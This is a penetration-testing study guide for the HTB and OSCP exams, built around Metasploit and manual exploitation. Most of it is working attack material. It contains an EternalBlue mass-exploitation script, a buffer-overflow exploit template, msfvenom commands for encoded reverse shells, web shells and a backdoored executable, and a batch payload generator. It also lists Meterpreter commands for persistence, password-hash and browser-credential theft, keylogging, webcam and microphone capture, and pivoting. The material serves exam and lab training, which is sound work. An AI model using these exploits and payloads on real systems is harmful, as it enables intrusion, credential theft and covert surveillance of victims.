Penetration Testing - Exploitation Frameworks & Manual Exploits Guide
Category: Penetration Testing - Phase 3
Tags: oscp, htb, metasploit, exploitation, payloads, manual-exploits, buffer-overflow
Exploitation Methodology and Framework
What this phase covers: Systematic exploitation of discovered vulnerabilities using both automated frameworks (Metasploit) and manual exploitation techniques. Covers payload generation, exploit modification, and post-exploitation command execution.
Why exploitation mastery is critical: Vulnerability discovery is meaningless without successful exploitation. HTB/OSCP scenarios require both framework proficiency and manual exploitation skills when automated tools fail.
HTB/OSCP Exploitation Approach: Start with automated frameworks for known vulnerabilities, develop manual exploitation skills for custom scenarios, understand payload generation and modification, and master post-exploitation techniques.
Metasploit Framework Mastery
Metasploit Core Concepts and Architecture
What Metasploit provides: Comprehensive exploitation framework with 2000+ exploits, 500+ payloads, post-exploitation modules, and automated vulnerability exploitation capabilities.
Why Metasploit is essential: Industry standard exploitation framework. Provides reliable exploits, payload generation, and post-exploitation modules. Essential for HTB/OSCP exam efficiency.
When to use Metasploit: Known vulnerability exploitation, payload generation, post-exploitation enumeration, and when manual exploitation attempts fail.
# Starting Metasploit Console
msfconsole # Start interactive console
msfconsole -q # Quiet startup (no banner)
msfconsole -r script.rc # Run resource script on startup
# Database setup and management
msfdb init # Initialize Metasploit database
msfdb start # Start database service
msfdb status # Check database status
# Why database is important:
# - Stores scan results and exploit attempts
# - Enables workspace management
# - Provides persistent session tracking
# - Required for advanced post-exploitation modules
# Workspace management
workspace # List workspaces
workspace -a htb_machine # Add new workspace
workspace htb_machine # Switch to workspace
workspace -d old_workspace # Delete workspace
# Why workspaces matter:
# - Organize different engagements
# - Separate target information
# - Prevent data contamination
# - Enable parallel testing
Metasploit Search and Module Selection
# Comprehensive search techniques
search ms17-010 # Search by CVE/MS bulletin
search type:exploit platform:windows smb # Multi-criteria search
search cve:2017 rank:excellent # CVE year and reliability
search apache 2.4 # Service and version
search author:rapid7 # Search by author
# Advanced search operators
search platform:linux type:post # Linux post-exploitation modules
search target:windows payload:meterpreter # Windows meterpreter payloads
search reliability:excellent platform:windows # High-reliability Windows exploits
search rank:great disclosure:2021 # Recent high-quality exploits
# Why advanced search is crucial:
# - 2000+ exploits require effective filtering
# - Quality ranking prevents unreliable exploits
# - Platform targeting improves success rates
# - Date filtering focuses on recent vulnerabilities
# Module information and requirements
info exploit/windows/smb/ms17_010_eternalblue # Detailed module information
show options # Display required/optional parameters
show payloads # Compatible payloads for current exploit
show targets # Available target configurations
show advanced # Advanced exploit options
show evasion # Evasion options (if available)
# Module selection and configuration
use exploit/windows/smb/ms17_010_eternalblue # Select exploit module
set RHOSTS 192.168.1.10 # Set remote host target
set RHOST 192.168.1.10 # Alternative for single host
set RPORT 445 # Set remote port (if different)
set LHOST 192.168.1.5 # Set local host for payload callback
set LPORT 4444 # Set local port for payload callback
# Payload selection and configuration
set payload windows/x64/meterpreter/reverse_tcp # Select specific payload
set payload generic/shell_reverse_tcp # Generic shell payload
show payloads # List compatible payloads
set payload windows/meterpreter/reverse_https # HTTPS payload for evasion
# Why payload selection matters:
# - Different payloads provide different capabilities
# - Staged vs stageless payloads affect reliability
# - Protocol selection impacts evasion
# - Architecture matching (x86 vs x64) critical for success
Advanced Metasploit Configuration and Options
# Exploit reliability and targeting
set AutoRunScript post/windows/manage/migrate # Auto-migrate after exploitation
set PrependMigrate true # Prepend migration to payload
set EXITFUNC thread # Exit function for payload stability
set EnableStageEncoding true # Encode staged payloads
set StageEncoder x86/shikata_ga_nai # Specific encoder selection
# Evasion and stealth options
set VERBOSE false # Reduce output verbosity
set DisablePayloadHandler false # Control payload handler
set ReverseAllowProxy true # Allow proxy for reverse connections
set PayloadUUIDTracking true # Enable payload UUID tracking
# Multi-targeting configuration
setg RHOSTS file:/path/to/targets.txt # Set global targets from file
setg LHOST 192.168.1.5 # Set global local host
services -p 445 -R # Set targets from database services
# Why advanced configuration is important:
# - Improves exploit reliability and success rates
# - Enables evasion of security controls
# - Facilitates mass exploitation scenarios
# - Provides better post-exploitation stability
# Resource scripts for automation
cat > auto_exploit.rc << 'EOF'
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS file:/tmp/targets.txt
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.5
set LPORT 4444
set AutoRunScript post/multi/manage/autoroute
exploit -j -z
EOF
msfconsole -r auto_exploit.rc # Execute resource script
# Database integration for targeting
db_nmap -sS -A 192.168.1.0/24 # Nmap scan with database storage
hosts # List discovered hosts
services # List discovered services
vulns # List identified vulnerabilities
services -p 445 -R # Set RHOSTS from SMB services
Metasploit Exploitation Execution
# Exploit execution methods
exploit # Run exploit and wait for session
exploit -j # Run exploit as background job
exploit -z # Don't interact with session immediately
exploit -j -z # Background job, no interaction
run # Alternative to exploit command
# Session management
sessions # List active sessions
sessions -l # List sessions with details
sessions -i 1 # Interact with session 1
sessions -k 1 # Kill session 1
sessions -K # Kill all sessions
sessions -u 1 # Upgrade shell to meterpreter
# Why session management is crucial:
# - Multiple concurrent sessions need organization
# - Session stability varies by payload type
# - Upgrading shells provides enhanced capabilities
# - Proper cleanup prevents detection
# Background job management
jobs # List background jobs
jobs -k 1 # Kill job 1
jobs -K # Kill all jobs
jobs -i 1 # Get information about job 1
# Handler management for manual payloads
use exploit/multi/handler # Generic payload handler
set payload windows/meterpreter/reverse_tcp # Set payload type
set LHOST 192.168.1.5 # Set listening host
set LPORT 4444 # Set listening port
exploit -j # Start handler as background job
# Why handlers are important:
# - Catch shells from manual exploitation
# - Handle custom payload execution
# - Provide persistent listening capability
# - Enable multi-stage payload delivery
Manual Exploitation Techniques
Buffer Overflow Exploitation (OSCP Focus)
What buffer overflows are: Memory corruption vulnerabilities where input data exceeds allocated buffer space, potentially allowing code execution through stack manipulation.
Why buffer overflow skills are essential: Core OSCP requirement. Demonstrates deep understanding of exploitation fundamentals. Common in legacy applications and embedded systems.
Buffer overflow methodology: Fuzzing → Crash analysis → Offset identification → Bad character detection → Return address control → Shellcode execution.
# Step 1: Initial fuzzing and crash discovery
cat > fuzzer.py << 'EOF'
#!/usr/bin/env python3
import socket
import sys
def fuzz_target(target_ip, target_port):
"""Basic buffer overflow fuzzing"""
buffer_sizes = [100, 200, 300, 400, 500, 1000, 1500, 2000, 2500, 3000]
for size in buffer_sizes:
try:
print(f"[+] Sending buffer of size: {size}")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((target_ip, target_port))
# Create buffer with pattern
buffer = "A" * size
s.send(buffer.encode())
s.recv(1024)
s.close()
print(f"[+] Size {size}: No crash")
except socket.timeout:
print(f"[-] Size {size}: Timeout - possible crash")
break
except ConnectionRefusedError:
print(f"[-] Size {size}: Connection refused - service crashed")
break
except Exception as e:
print(f"[-] Size {size}: Exception - {str(e)}")
break
if __name__ == "__main__":
if len(sys.argv) != 3:
print("Usage: python3 fuzzer.py <target_ip> <target_port>")
sys.exit(1)
fuzz_target(sys.argv[1], int(sys.argv[2]))
EOF
# Why fuzzing is the starting point:
# - Identifies vulnerable input vectors
# - Determines approximate buffer size limits
# - Confirms crash behavior and reproducibility
# - Establishes baseline for further exploitation
# Step 2: Crash analysis and EIP control
# Generate unique pattern for offset identification
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2000 > pattern.txt
# After crash, find offset based on EIP value
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 42306142
# Step 3: Bad character identification
cat > badchar_test.py << 'EOF'
#!/usr/bin/env python3
import socket
def test_bad_characters(target_ip, target_port, offset):
"""Test for bad characters that break exploitation"""
# All possible byte values except null byte
all_chars = b""
for i in range(1, 256): # Skip 0x00 (null byte)
all_chars += bytes([i])
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
buffer = b"A" * offset
buffer += b"BBBB" # EIP control
buffer += all_chars # Bad character test
print("[+] Sending bad character test payload")
s.send(buffer)
s.close()
print("[+] Check debugger for character truncation or corruption")
except Exception as e:
print(f"[-] Error: {str(e)}")
# Common bad characters to test individually:
common_bad_chars = [0x00, 0x0a, 0x0d, 0x20, 0x23, 0x3c, 0x3e]
print("Common bad characters to test:")
for char in common_bad_chars:
print(f"0x{char:02x}")
EOF
# Step 4: Complete buffer overflow exploit template
cat > complete_exploit.py << 'EOF'
#!/usr/bin/env python3
import socket
import sys
def exploit_target(target_ip, target_port):
"""Complete buffer overflow exploit"""
# Shellcode (replace with actual msfvenom output)
# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f python -b "\x00\x0a\x0d"
shellcode = (
b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
# ... (actual shellcode would be much longer)
)
# Exploit parameters (target-specific)
offset = 1978
jmp_esp = 0x625011af # JMP ESP address
nop_sled = b"\x90" * 16
# Build exploit buffer
buffer = b"A" * offset
buffer += jmp_esp.to_bytes(4, byteorder='little')
buffer += nop_sled
buffer += shellcode
try:
print(f"[+] Connecting to {target_ip}:{target_port}")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
print(f"[+] Sending exploit payload ({len(buffer)} bytes)")
s.send(buffer)
s.close()
print("[+] Exploit payload sent successfully")
print("[+] Check your listener for incoming connection")
except Exception as e:
print(f"[-] Exploit failed: {str(e)}")
if __name__ == "__main__":
if len(sys.argv) != 3:
print("Usage: python3 exploit.py <target_ip> <target_port>")
sys.exit(1)
exploit_target(sys.argv[1], int(sys.argv[2]))
EOF
Payload Generation and Customization
msfvenom Mastery for Payload Generation
What msfvenom does: Payload generation tool that creates shellcode, executables, and various payload formats for different platforms and scenarios.
Why msfvenom is essential: Provides reliable, tested payloads for various platforms. Handles encoding, formatting, and platform-specific requirements automatically.
# Basic payload generation syntax
# msfvenom -p [payload] [options] -f [format] [output_options]
# Windows payload examples
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f exe -o shell.exe
# Basic Windows reverse shell executable
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f exe -o meterpreter.exe
# Windows Meterpreter executable
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f exe -o shell64.exe
# 64-bit Windows reverse shell
# Linux payload examples
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f elf -o shell
# Linux ELF executable
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f elf -o meterpreter
# Linux 64-bit Meterpreter
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f c
# C language format for buffer overflows
# Raw shellcode generation
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f raw -o shellcode.bin
# Raw binary format
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f python
# Python format for scripts
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f hex
# Hexadecimal format
# Web application payloads
msfvenom -p php/reverse_php LHOST=192.168.1.5 LPORT=4444 -f raw -o shell.php
# PHP web shell
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f raw -o shell.jsp
# JSP web shell
msfvenom -p asp/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f raw -o shell.asp
# ASP web shell
# Encoding for evasion
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.5 LPORT=4444 -e x86/shikata_ga_nai -i 3 -f exe -o encoded_shell.exe
# Shikata Ga Nai encoder with 3 iterations
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.5 LPORT=4444 -e x86/alpha_mixed -f exe -o alpha_shell.exe
# Alphanumeric encoder
# Bad character avoidance
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.5 LPORT=4444 -b "\x00\x0a\x0d" -f python
# Avoid null byte, line feed, carriage return
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.5 LPORT=4444 -b "\x00\x0a\x0d\x20" -e x86/alpha_mixed -f c
# Multiple bad characters with encoding
# Template injection and advanced options
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.5 LPORT=4444 -x /path/to/template.exe -k -f exe -o backdoored.exe
# -x: Use executable template (inject into existing exe)
# -k: Keep template functionality intact
# Multi-platform payload generation script
cat > payload_generator.sh << 'EOF'
#!/bin/bash
LHOST=$1
LPORT=$2
OUTPUT_DIR="payloads_$(date +%Y%m%d_%H%M%S)"
if [ -z "$LHOST" ] || [ -z "$LPORT" ]; then
echo "Usage: $0 <LHOST> <LPORT>"
exit 1
fi
mkdir -p "$OUTPUT_DIR"
echo "[+] Generating payloads for $LHOST:$LPORT"
# Windows payloads
echo "[+] Generating Windows payloads..."
msfvenom -p windows/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f exe -o "$OUTPUT_DIR/win_shell.exe"
msfvenom -p windows/meterpreter/reverse_tcp LHOST=$LHOST LPORT=$LPORT -f exe -o "$OUTPUT_DIR/win_meterpreter.exe"
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f exe -o "$OUTPUT_DIR/win64_shell.exe"
# Linux payloads
echo "[+] Generating Linux payloads..."
msfvenom -p linux/x86/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f elf -o "$OUTPUT_DIR/linux_shell"
msfvenom -p linux/x64/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f elf -o "$OUTPUT_DIR/linux64_shell"
# Web payloads
echo "[+] Generating web payloads..."
msfvenom -p php/reverse_php LHOST=$LHOST LPORT=$LPORT -f raw -o "$OUTPUT_DIR/shell.php"
msfvenom -p java/jsp_shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f raw -o "$OUTPUT_DIR/shell.jsp"
msfvenom -p asp/reverse_tcp LHOST=$LHOST LPORT=$LPORT -f raw -o "$OUTPUT_DIR/shell.asp"
# Encoded payloads
echo "[+] Generating encoded payloads..."
msfvenom -p windows/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -e x86/shikata_ga_nai -i 3 -f exe -o "$OUTPUT_DIR/win_encoded.exe"
# Raw formats for exploitation
echo "[+] Generating raw formats..."
msfvenom -p windows/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f python -o "$OUTPUT_DIR/shellcode.py"
msfvenom -p windows/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f c -o "$OUTPUT_DIR/shellcode.c"
chmod +x "$OUTPUT_DIR/linux"*
echo "[+] Payloads generated in $OUTPUT_DIR/"
ls -la "$OUTPUT_DIR/"
EOF
chmod +x payload_generator.sh
Post-Exploitation with Metasploit
Meterpreter Advanced Usage
What Meterpreter provides: Advanced payload that provides interactive shell, file system access, network pivoting, and extensive post-exploitation capabilities.
Why Meterpreter is powerful: Lives entirely in memory, provides encrypted communication, and offers comprehensive post-exploitation modules.
# Meterpreter session interaction
sessions -i 1 # Interact with meterpreter session
# Basic meterpreter commands
sysinfo # System information
getuid # Current user context
pwd # Current directory
ls # List files
cd /path/to/directory # Change directory
cat file.txt # Display file contents
download /path/to/file # Download file to attacker machine
upload /local/file /remote/path # Upload file to target
# Process and service management
ps # List running processes
kill 1234 # Kill process by PID
execute -f cmd.exe -i -H # Execute command interactively and hidden
migrate 1234 # Migrate to another process
run post/windows/manage/migrate # Auto-migrate to stable process
# Network and system information
ipconfig # Network configuration (Windows)
ifconfig # Network configuration (Linux)
route # Routing table
netstat # Network connections
arp # ARP table
# Privilege escalation
getsystem # Attempt automatic privilege escalation
run post/windows/escalate/getsystem # Alternative privilege escalation
run post/multi/recon/local_exploit_suggester # Suggest local exploits
# Persistence mechanisms
run persistence -S -U -X -i 5 -p 443 -r 192.168.1.5
# -S: Automatically start handler
# -U: User-level persistence
# -X: Startup folder persistence
# -i: Connect back every 5 seconds
# -p: Port 443
# -r: Remote host
# Advanced meterpreter modules
run post/windows/gather/hashdump # Dump password hashes
run post/windows/gather/credentials/windows_autologin # AutoLogin credentials
run post/windows/gather/enum_applications # Installed applications
run post/windows/gather/enum_computers # Domain computers
run post/windows/gather/enum_logged_on_users # Logged on users
run post/windows/gather/enum_shares # Network shares
run post/multi/gather/firefox_creds # Firefox stored credentials
run post/multi/gather/chrome_cookies # Chrome cookies and credentials
# Keylogging and screenshot
keyscan_start # Start keylogger
keyscan_dump # Dump captured keystrokes
keyscan_stop # Stop keylogger
screenshot # Take screenshot
record_mic # Record from microphone
webcam_snap # Take webcam photo
# Network pivoting
run autoroute -s 10.1.1.0/24 # Add route to internal network
run autoroute -p # Print active routes
portfwd add -l 3389 -p 3389 -r 10.1.1.100 # Port forwarding (local 3389 -> remote RDP)
portfwd list # List active port forwards
portfwd delete -l 3389 # Remove port forward
Integration with Manual Techniques
Combining Automated and Manual Exploitation
# Workflow: Metasploit discovery → Manual exploitation → Metasploit post-exploitation
# Step 1: Use Metasploit for reconnaissance
msfconsole -x "
use auxiliary/scanner/portscan/tcp;
set RHOSTS 192.168.1.0/24;
set PORTS 1-1000;
run;
exit"
# Step 2: Manual exploitation of discovered services
cat > manual_exploit.py << 'EOF'
#!/usr/bin/env python3
import socket
import struct
def manual_buffer_overflow(target_ip, target_port):
"""Manual buffer overflow exploit"""
# Shellcode generated with msfvenom
shellcode = (
b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
# ... (truncated for space)
)
# Exploit parameters
offset = 1978
jmp_esp = 0x625011af
nop_sled = b"\x90" * 16
# Build payload
payload = b"A" * offset
payload += struct.pack('<I', jmp_esp)
payload += nop_sled
payload += shellcode
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
s.send(payload)
s.close()
print("[+] Manual exploit sent successfully")
except Exception as e:
print(f"[-] Manual exploit failed: {str(e)}")
# Execute manual exploit
manual_buffer_overflow("192.168.1.10", 9999)
EOF
# Step 3: Catch shell with Metasploit handler
msfconsole -x "
use exploit/multi/handler;
set payload windows/shell_reverse_tcp;
set LHOST 192.168.1.5;
set LPORT 4444;
exploit -j -z"
# Step 4: Upgrade shell to meterpreter
# Once shell is caught:
# sessions -u 1 # Upgrade session 1 to meterpreter
Exploitation Methodology Summary
HTB/OSCP Exploitation Workflow
Systematic approach for successful exploitation:
- Vulnerability Assessment
- Correlate reconnaissance findings with known vulnerabilities
- Research CVE details and proof-of-concept exploits
- Identify exploit requirements and constraints
-
Assess likelihood of successful exploitation
-
Exploit Selection and Preparation
- Start with Metasploit for known vulnerabilities
- Prepare manual exploits for custom scenarios
- Generate appropriate payloads for target environment
-
Test exploits in lab environment when possible
-
Exploitation Execution
- Execute automated exploits first (higher reliability)
- Fall back to manual techniques if automated fails
- Use staged approach: initial access → privilege escalation
-
Maintain access through multiple vectors
-
Post-Exploitation Activities
- Establish persistent access mechanisms
- Enumerate system for additional vulnerabilities
- Gather credentials and sensitive information
- Prepare for lateral movement
Key Success Factors for HTB/OSCP:
Technical Skills:
- Metasploit proficiency - Essential for exam efficiency
- Manual exploitation - Required when automated tools fail
- Payload customization - Adapt to specific environments
- Buffer overflow - Core OSCP requirement
Methodology Discipline:
- Systematic approach - Don't skip steps or rush
- Documentation - Keep detailed notes of all attempts
- Backup plans - Multiple exploitation vectors
- Persistence - Don't give up after first failure
Common Exploitation Pitfalls to Avoid:
- Relying solely on automated tools
- Not understanding exploit mechanisms
- Poor payload selection for target environment
- Inadequate post-exploitation enumeration
- Insufficient persistence mechanisms
This exploitation methodology provides the foundation for successful penetration testing in both HTB challenges and OSCP exam scenarios, emphasizing both automated framework usage and manual exploitation skills essential for comprehensive security assessment.